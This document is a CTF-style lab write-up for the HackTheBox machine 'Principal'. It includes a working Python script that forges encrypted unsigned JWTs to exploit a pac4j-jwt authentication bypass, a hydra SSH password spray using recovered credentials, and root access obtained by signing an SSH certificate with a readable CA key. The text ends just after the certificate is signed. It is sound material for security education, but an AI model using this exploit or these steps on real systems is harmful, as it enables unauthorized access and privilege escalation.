Principal

Principal is a Linux box with a Java web application using pac4j for JWT authentication. I’ll exploit a vulnerability in pac4j-jwt that allows forging encrypted JWTs using only the server’s public RSA key, bypassing signature verification to access the admin dashboard. From there, I’ll find credentials in the settings and spray them against SSH to get a shell as svc-deploy. For root, I’ll abuse access to an SSH certificate authority private key to sign a certificate for the root principal and SSH in.

Box Info

Medium
Release Date 12 Mar 2026
Retire Date 12 Mar 2026
OS Linux Linux
Non-competitive release: no bloods
Creator ippsec

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (8080):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.11.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-20 19:03 UTC
...[snip]...
Nmap scan report for 10.129.11.207
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2026-03-20 19:03:58 UTC for 6s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
           Raw packets sent: 65621 (2.887MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -sCV -p 22,8080 10.129.11.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-20 19:04 UTC
Nmap scan report for 10.129.11.207
Host is up (0.022s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Fri, 20 Mar 2026 19:03:49 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json
|     {"timestamp":"2026-03-20T19:03:49.178+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest:
|     HTTP/1.1 302 Found
|     Date: Fri, 20 Mar 2026 19:03:48 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Content-Language: en
|     Location: /login
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Fri, 20 Mar 2026 19:03:48 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Allow: GET,HEAD,OPTIONS
|     Accept-Patch:
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Date: Fri, 20 Mar 2026 19:03:49 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 349
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 505 Unknown Version</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 505 Unknown Version</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>505</td></tr>
|     <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
|     </table>
|     </body>
|     </html>
|   Socks5:
|     HTTP/1.1 400 Bad Request
|     Date: Fri, 20 Mar 2026 19:03:49 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 382
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 400 Illegal character CNTL=0x5</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>400</td></tr>
|     <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
|     </table>
|     </body>
|_    </html>
|_http-server-header: Jetty
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=3/20%Time=69BD9A4C%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,A4,"HTTP/1\.1\x20302\x20Found\r\nDate:\x20Fri,\x2020\x20Mar
SF:\x202026\x2019:03:48\x20GMT\r\nServer:\x20Jetty\r\nX-Powered-By:\x20pac
SF:4j-jwt/6\.0\.3\r\nContent-Language:\x20en\r\nLocation:\x20/login\r\nCon
SF:tent-Length:\x200\r\n\r\n")%r(HTTPOptions,A2,"HTTP/1\.1\x20200\x20OK\r\
SF:nDate:\x20Fri,\x2020\x20Mar\x202026\x2019:03:48\x20GMT\r\nServer:\x20Je
SF:tty\r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nAllow:\x20GET,HEAD,OPTIONS
SF:\r\nAccept-Patch:\x20\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,2
SF:20,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nDate:\x2
SF:0Fri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nCache-Control:\x20must
SF:-revalidate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso
SF:-8859-1\r\nContent-Length:\x20349\r\n\r\n<html>\n<head>\n<meta\x20http-
SF:equiv=\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<
SF:title>Error\x20505\x20Unknown\x20Version</title>\n</head>\n<body>\n<h2>
SF:HTTP\x20ERROR\x20505\x20Unknown\x20Version</h2>\n<table>\n<tr><th>URI:<
SF:/th><td>/badMessage</td></tr>\n<tr><th>STATUS:</th><td>505</td></tr>\n<
SF:tr><th>MESSAGE:</th><td>Unknown\x20Version</td></tr>\n</table>\n\n</bod
SF:y>\n</html>\n")%r(FourOhFourRequest,13B,"HTTP/1\.1\x20404\x20Not\x20Fou
SF:nd\r\nDate:\x20Fri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nServer:\
SF:x20Jetty\r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nCache-Control:\x20mus
SF:t-revalidate,no-cache,no-store\r\nContent-Type:\x20application/json\r\n
SF:\r\n{\"timestamp\":\"2026-03-20T19:03:49\.178\+00:00\",\"status\":404,\
SF:"error\":\"Not\x20Found\",\"path\":\"/nice%20ports%2C/Tri%6Eity\.txt%2e
SF:bak\"}")%r(Socks5,232,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20F
SF:ri,\x2020\x20Mar\x202026\x2019:03:49\x20GMT\r\nCache-Control:\x20must-r
SF:evalidate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso-8
SF:859-1\r\nContent-Length:\x20382\r\n\r\n<html>\n<head>\n<meta\x20http-eq
SF:uiv=\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<ti
SF:tle>Error\x20400\x20Illegal\x20character\x20CNTL=0x5</title>\n</head>\n
SF:<body>\n<h2>HTTP\x20ERROR\x20400\x20Illegal\x20character\x20CNTL=0x5</h
SF:2>\n<table>\n<tr><th>URI:</th><td>/badMessage</td></tr>\n<tr><th>STATUS
SF::</th><td>400</td></tr>\n<tr><th>MESSAGE:</th><td>Illegal\x20character\
SF:x20CNTL=0x5</td></tr>\n</table>\n\n</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.04 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 24.04 noble LTS. There’s also a Jetty-based (Java) webserver on TCP 8080.

Both of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 8080

Site

Visiting / redirects to /login, which presents a login page to some kind of dashboard:

image-20260321105801112

Trying to guess at a password returns a generic failure message:

image-20260321105836967

Tech Stack

The page says that it’s powered by pac4j, a Java security framework. It handles authentication and authorization across protocols such as OAuth, SAML, and JWT.

The HTTP response headers show Jetty, a Java web server, as well as pac4j-jwt with a version 6.0.3:

HTTP/1.1 200 OK
Date: Sat, 21 Mar 2026 14:56:15 GMT
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Content-Language: en-US
Content-Type: text/html;charset=utf-8
Content-Length: 6152

The 404 page is the default Springboot 404:

image-20260321110052078

Taking a look at the page source, it loads static/js/app.js, which handles the auth. At the top, it defines the JWT structure in comments and some endpoints:

/**
 * Principal Internal Platform - Client Application
 * Version: 1.2.0
 *
 * Authentication flow:
 * 1. User submits credentials to /api/auth/login
 * 2. Server returns encrypted JWT (JWE) token
 * 3. Token is stored and sent as Bearer token for subsequent requests
 *
 * Token handling:
 * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
 * - Public key available at /api/auth/jwks for token verification
 * - Inner JWT is signed with RS256
 *
 * JWT claims schema:
 *   sub   - username
 *   role  - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
 *   iss   - "principal-platform"
 *   iat   - issued at (epoch)
 *   exp   - expiration (epoch)
 */

const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';

/api/auth/jwks has the public key for a JWT that uses asymmetric encryption:

oxdf@hacky$ curl http://10.129.11.207:8080/api/auth/jwks -s | jq .
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}

n and e are the two variables that typically make up a public key in RSA cryptography.

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://10.129.11.207:8080

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.11.207:8080
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://10.129.11.207:8080/ => http://10.129.11.207:8080/login
500      GET        1l        1w       73c http://10.129.11.207:8080/error
501      GET        1l       10w      110c http://10.129.11.207:8080/reset-password
200      GET      707l     1287w    12691c http://10.129.11.207:8080/static/css/style.css
200      GET        4l       22w      272c http://10.129.11.207:8080/static/img/favicon.svg
200      GET      308l      939w    10949c http://10.129.11.207:8080/static/js/app.js
200      GET      112l      373w     6152c http://10.129.11.207:8080/login
500      GET        0l        0w        0c http://10.129.11.207:8080/WEB-INF
200      GET       94l      214w     3930c http://10.129.11.207:8080/dashboard
500      GET        0l        0w        0c http://10.129.11.207:8080/META-INF
500      GET        0l        0w        0c http://10.129.11.207:8080/web-inf
400      GET       15l       27w      375c http://10.129.11.207:8080/error%1F_log
[####################] - 89s    30008/30008   0s      found:12      errors:0      
[####################] - 88s    30000/30000   339/s   http://10.129.11.207:8080/  

I’ll also brute with a Spring-Boot-specific wordlist, but it doesn’t find anything interesting:

oxdf@hacky$ feroxbuster -u http://10.129.11.207:8080 -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.129.11.207:8080
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/spring-boot.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://10.129.11.207:8080/ => http://10.129.11.207:8080/login
[####################] - 4s       113/113     0s      found:1       errors:0      
[####################] - 3s       113/113     33/s    http://10.129.11.207:8080/ 

Shell as svc-deploy

Dashboard Access

CVE-2026-29000 Background

Searching for “pac4j 6.0.3 cve” returns a bunch of references to CVE-2026-29000:

image-20260321110358991

CVE-2026-29000 was a relatively big deal in the infosec news, and the inspiration for this box. NIST describes CVE-2026-29000 as:

pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3 contain an authentication bypass vulnerability in JwtAuthenticator when processing encrypted JWTs that allows remote attackers to forge authentication tokens. Attackers who possess the server’s RSA public key can create a JWE-wrapped PlainJWT with arbitrary subject and role claims, bypassing signature verification to authenticate as any user including administrators.

Basically, if I can access the public key for the JWT, I can become any user. The vulnerability was initially discovered and disclosed by researchers at CodeAnt AI, who wrote this blog post going into all the details. JWTs can be encrypted using a server’s public key so that the contents are not readable in transit. The researchers found that if the inner JWT signature is not present and the outer encryption is, a logic bug in the code would bypass the inner token validation and just handle it as valid.

The issue is in this code from pac4j (comments added by the Codeant AI blog):

// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
    try {
        encryptedJWT.decrypt(config);

        // Step 2: Try to extract the inner signed JWT
        signedJWT = encryptedJWT.getPayload().toSignedJWT();

        if (signedJWT != null) {
            jwt = signedJWT;
        }

        found = true;
        break;
    } catch (JOSEException e) { ... }
}

// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
    for (SignatureConfiguration config : signatureConfigurations) {
        if (config.supports(signedJWT)) {
            verify = config.verify(signedJWT);
            // ...
        }
    }
}

When the JWT without any signature is passed to toSignedJWT(), it returns null. Then in what is labeled as Step 3 where the verification happens, if signedJWT is null, that’s just skipped.

Craft Token

The CodeAnt AI post suggests looking for the JWKS information at /.well-known/jwks.json, but I already found it above at /api/auth/jwks. I’ll use Python to create a token encrypted with this public key and with no auth on the inner JWT.

The JWT libraries will fail trying to create a JWT with no algorithm, so I’ll have to create it manually. I’ll create a function to do this:

def create_jwt(sub, role):
    # *  sub   - username
    # *  role  - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
    # *   iss   - "principal-platform"
    # *   iat   - issued at (epoch)
    # *   exp   - expiration (epoch)
    if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
        raise ValueError("Invalid Role")

    now = datetime.now(timezone.utc)
    claims = {
        "sub": sub,
        "role": role,
        "iss": "principal-platform",
        "iat": int(now.timestamp()),
        "exp": int((now + timedelta(hours=24)).timestamp()),
    }

    header = {"alg": "none"}

    def base64_url(data: bytes) -> str:
        return base64.urlsafe_b64encode(data).decode().rstrip("=")


    header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
    payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
    jwt = f"{header_b64}.{payload_b64}."

    print(f'[+] Created plain JWT for {role}: {sub}')
    return jwt

A JWT typically consists of three parts, each base64-encoded, and joined by “.”. The script above generates the header and claims (or payload), but leaves the signature empty.

I’ll start the script by parsing the input and fetching the jwks and getting an RSA public key:

if len(sys.argv) < 2:
    print(f'usage: {sys.argv[0]} <host> [port]')
    print('port defaults to 8080')
    sys.exit()

host = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else 8080

resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
if len(jwks.get("keys", [])) > 0:
    print(f'[+] Fetched {len(jwks["keys"])} public key(s)')
else:
    print(f'[-] Failed to fetch public keys')
    sys.exit()

rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
print(f"[+] Got RSA key: kid={rsa_key.get('kid', 'n/a')}")

Now I’ll forge the JWT and encrypt it:

jwt = create_jwt(sub = '0xdf', role = 'ROLE_ADMIN')
token = jwe.JWE(
    plaintext=jwt.encode(),
    protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
    recipient=rsa_key,
)
forged = token.serialize(compact=True)
print("[+] Forged JWE token:")
print(forged)

The role is in the JavaScript comments. I’m just guessing at the username, but in fact it doesn’t matter (only the role matters for getting access). All in all, the final script looks like:

# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "jwcrypto",
#     "requests",
# ]
# ///
import base64
import json
import sys
import requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta


def create_jwt(sub, role):
    # *  sub   - username
    # *  role  - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
    # *   iss   - "principal-platform"
    # *   iat   - issued at (epoch)
    # *   exp   - expiration (epoch)
    if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
        raise ValueError("Invalid Role")

    now = datetime.now(timezone.utc)
    claims = {
        "sub": sub,
        "role": role,
        "iss": "principal-platform",
        "iat": int(now.timestamp()),
        "exp": int((now + timedelta(hours=24)).timestamp()),
    }

    header = {"alg": "none"}

    def base64_url(data: bytes) -> str:
        return base64.urlsafe_b64encode(data).decode().rstrip("=")


    header_b64 = base64_url(json.dumps(header, separators=(",", ":")).encode())
    payload_b64 = base64_url(json.dumps(claims, separators=(",", ":")).encode())
    jwt = f"{header_b64}.{payload_b64}."

    print(f'[+] Created plain JWT for {role}: {sub}')
    return jwt


if len(sys.argv) < 2:
    print(f'usage: {sys.argv[0]} <host> [port]')
    print('port defaults to 8080')
    sys.exit()

host = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else 8080

resp = requests.get(f'http://{host}:{port}/api/auth/jwks')
jwks = resp.json()
if len(jwks.get("keys", [])) > 0:
    print(f'[+] Fetched {len(jwks["keys"])} public key(s)')
else:
    print(f'[-] Failed to fetch public keys')
    sys.exit()

rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
print(f"[+] Got RSA key: kid={rsa_key.get('kid', 'n/a')}")

jwt = create_jwt(sub = '0xdf', role = 'ROLE_ADMIN')
token = jwe.JWE(
    plaintext=jwt.encode(),
    protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
    recipient=rsa_key,
)
forged = token.serialize(compact=True)
print("[+] Forged JWE token:")
print(forged)

Running it generates a token:

oxdf@hacky$ uv run cve-2026-29000.py 10.129.11.207
[+] Fetched 1 public key(s)
[+] Got RSA key: kid=enc-key-1
[+] Created plain JWT for ROLE_ADMIN: 0xdf
[+] Forged JWE token:
eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMjU2R0NNIn0.d8j5jDP9cxzgjtPo8VGJxciYp8QqrXX2lUFjG241OUTKq4tUHF2F3zDMqipftoccgekpe_AfBcoerJ6lEzgUs5GyXBt6k4SSu79gg6EbdXjZq6sfOOAQEQdtpRaBtAM3zF1PqV5HXIH8JFt3VPo-mQI00aV0EmKJSeLrnFxaz0IRiPJYI6Mdn7MhkQ1h5RLwl1cNRBTDyF9Xff7RwgtzTGpFnzLWVSnHsuidPJ0ejgbfzJDxk1FOGpIVDGk0dTjI9xByEFdtzcQ0GJLFTxVHtXedPVh9Ku5Qyh7WdnrDxf3jEFUDduOtM6_8OBmjZoKJ_R0IJSaWZ3L6sbpuFVsGNQ.4d4S8iVzuDXYqOcH.Oo0Am78IY8QEOIIM1WJUcne3xL1-2L0kEn2KjXmoAk9h_xaHW7v-fodJMSeN9D1g1Cqo6xTlHtT_ZMn4cMVmUtCzr25khtwwqDIGpIzK3dNJxI8AzV13Js_LTgp45XvG3Be6tmex19Lj2jZUYKVe5qg-EovuST9RCc2LH2zczKsnPrcv9-DcC5H8QaVfoKqlWc_nZg.iNxN8lrcq88okAwypyvXQA

Access Dashboard

The app.js file defines a class named TokenManager:

class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }

    static setToken(token) {
        sessionStorage.setItem('auth_token', token);
    }

    static clearToken() {
        sessionStorage.removeItem('auth_token');
    }

    static isAuthenticated() {
        return !!this.getToken();
    }

    static getAuthHeaders() {
        const token = this.getToken();
        return token ? { 'Authorization': `Bearer ${token}` } : {};
    }
}

It shows that the JWT is stored in session storage under the name auth_token. I’ll save my generated token using the browser dev tools console:

sessionStorage.setItem('auth_token', 'eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMjU2R0NNIn0.d8j5jDP9cxzgjtPo8VGJxciYp8QqrXX2lUFjG241OUTKq4tUHF2F3zDMqipftoccgekpe_AfBcoerJ6lEzgUs5GyXBt6k4SSu79gg6EbdXjZq6sfOOAQEQdtpRaBtAM3zF1PqV5HXIH8JFt3VPo-mQI00aV0EmKJSeLrnFxaz0IRiPJYI6Mdn7MhkQ1h5RLwl1cNRBTDyF9Xff7RwgtzTGpFnzLWVSnHsuidPJ0ejgbfzJDxk1FOGpIVDGk0dTjI9xByEFdtzcQ0GJLFTxVHtXedPVh9Ku5Qyh7WdnrDxf3jEFUDduOtM6_8OBmjZoKJ_R0IJSaWZ3L6sbpuFVsGNQ.4d4S8iVzuDXYqOcH.Oo0Am78IY8QEOIIM1WJUcne3xL1-2L0kEn2KjXmoAk9h_xaHW7v-fodJMSeN9D1g1Cqo6xTlHtT_ZMn4cMVmUtCzr25khtwwqDIGpIzK3dNJxI8AzV13Js_LTgp45XvG3Be6tmex19Lj2jZUYKVe5qg-EovuST9RCc2LH2zczKsnPrcv9-DcC5H8QaVfoKqlWc_nZg.iNxN8lrcq88okAwypyvXQA')

When I load /, there’s a dashboard:

image-20260321174040876

SSH

Dashboard Enumeration

There are a couple useful pieces of information I can gather from the dashboard. On the “Users” view, there’s a list of users:

image-20260322132627263

On the “Settings” page, there’s an “encryptionKey”:

image-20260322132826372

That looks like a password, as it’s a human-readable string with special characters rather than a typical base64-encoded or hex encryption key.

There’s also a reference to a path I’ll use for privesc:

image-20260322215357682

It suggests looking at /opt/principal/ssh and that certificate auth is enabled.

Password Spray

I’ll save the usernames from the dashboard into users.txt and spray the encryptionKey as a password against SSH. netexec can do this spray, but it runs serially, waiting for each attempt to timeout before doing the next, so hydra is a better tool here:

oxdf@hacky$ hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.11.207
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-22 17:30:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://10.129.11.207:22/
[22][ssh] host: 10.129.11.207   login: svc-deploy   password: D3pl0y_$$H_Now42!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-22 17:30:36

It finds a match using the encryptionKey for the svc-deploy account.

Shell

I’ll use the creds to get a shell using SSH:

oxdf@hacky$ sshpass -p 'D3pl0y_$$H_Now42!' ssh svc-deploy@10.129.11.207
Warning: Permanently added '10.129.11.207' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

svc-deploy@principal:~$

And grab the user flag:

svc-deploy@principal:~$ cat user.txt
dbdf7a77************************

Shell as root

Enumeration

Users

Other than user.txt, the svc-deploy user’s home directory is pretty empty:

svc-deploy@principal:~$ find . -type f
./.profile
./user.txt
./.ssh/known_hosts
./.ssh/known_hosts.old
./.bash_logout
./.cache/motd.legal-displayed
./.bashrc
./.bash_history

This user cannot run sudo:

svc-deploy@principal:~$ sudo -l
[sudo] password for svc-deploy: 
Sorry, user svc-deploy may not run sudo on principal.

They are in an additional group, deployers:

svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)

There’s no other user with a home directory in /home:

svc-deploy@principal:/home$ ls
svc-deploy

This is in line with the users with shells configured in passwd:

svc-deploy@principal:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
svc-deploy:x:1001:1002::/home/svc-deploy:/bin/bash

Filesystem

There’s nothing interesting in the filesystem root:

svc-deploy@principal:/$ ls
bin   cdrom  etc   lib    lost+found  mnt  proc  run   srv  tmp  var
boot  dev    home  lib64  media       opt  root  sbin  sys  usr

/opt has containerd (which runs Docker), as well as principal:

svc-deploy@principal:/opt/principal$ ls -l
total 12
drwxr-xr-x 5 app  app       4096 Mar 11 04:22 app
drwxr-x--- 2 root root      4096 Mar 11 04:22 deploy
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 ssh

The ssh directory is owned by the deployers group.

The app directory has the source for the Java web application I exploited to get a foothold.

The deploy directory is limited to only root access.

SSH

The ssh directory shows three files:

svc-deploy@principal:/opt/principal/ssh$ ls
README.txt  ca  ca.pub

README.txt talks about the other files:

CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
  Algorithm: RSA 4096-bit
  Created: 2025-11-15
  Purpose: Automated deployment authentication

HTB Resource was a box I made that centered around SSH certificate authentication, and I go into detail on how it works in that post.

The other two files are a private and public certificate key pair.

The sshd configuration isn’t super interesting:

svc-deploy@principal:/$ cat /etc/ssh/sshd_config | grep -v '#' | grep .
Include /etc/ssh/sshd_config.d/*.conf
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server

There’s a file in sshd_config.d that has more:

svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf 
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

SSH

Typically with the TrustedUserCAKeys configured, there’s a AuthorizedPrincipalsFile or AuthorizedPrincipalsCommand set as well to define how users match to principals. When none are given, then certificate principals are mapped directly to user names.

That means that if I create a certificate signed with the CA private key that I have access to for the root principal, it will work as the root user. PermitRootLogin is set to prohibit-password, which blocks password auth but still allows public key and certificate authentication, so this will work.

I can use an existing key, or create one:

oxdf@hacky$ ssh-keygen -t ed25519 -f root-ssh
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in root-ssh
Your public key has been saved in root-ssh.pub
The key fingerprint is:
SHA256:Kp/iLHPVE1S0193mZamPp2Mrb2UKhE3UQYQb2o4J92M oxdf@hacky
The key's randomart image is:
+--[ED25519 256]--+
|         o+.=+.  |
|        .  = o .o|
|       .  B + ..*|
|       ..+ *  .+.|
|       .S.*  .  .|
|      ..oo E  oo |
|    ...  .. o.+o |
|  o.oo .   . =o  |
|   =o.o     =+o  |
+----[SHA256]-----+

Now I’ll sign it with the CA key using ssh-keygen -s (sign), -I 0xdf (an arbitrary identity label), and -n root (the principal name, which maps directly to the root username since there’s no AuthorizedPrincipalsFile):

oxdf@hacky$ ssh-keygen -s ca -I 0xdf -n  root root-ssh 
Signed user key root-ssh-cert.pub: id "0xdf" serial 0 for root valid forever
oxdf@hacky$ cat root-ssh-cert.pub 
